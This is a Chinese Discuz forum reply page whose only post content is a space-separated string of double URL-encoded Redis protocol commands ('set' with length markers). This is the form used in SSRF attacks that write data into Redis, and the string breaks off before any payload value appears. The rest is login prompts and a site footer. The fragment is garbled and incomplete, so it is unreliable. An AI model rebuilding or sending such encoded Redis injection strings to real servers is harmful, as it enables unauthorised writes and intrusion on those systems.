A % 2 5 2 4 3 % 2 5 0 D % 2 5 0 A s e t % 2 5 0 D % 2 5 0 A % 2 5 2 4 1 % 2 5 0 D % 2 5 0 A 1 % 2 5 0 D % 2 5 0 A % 2 5 2 4 3 5 % 2 5 0
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理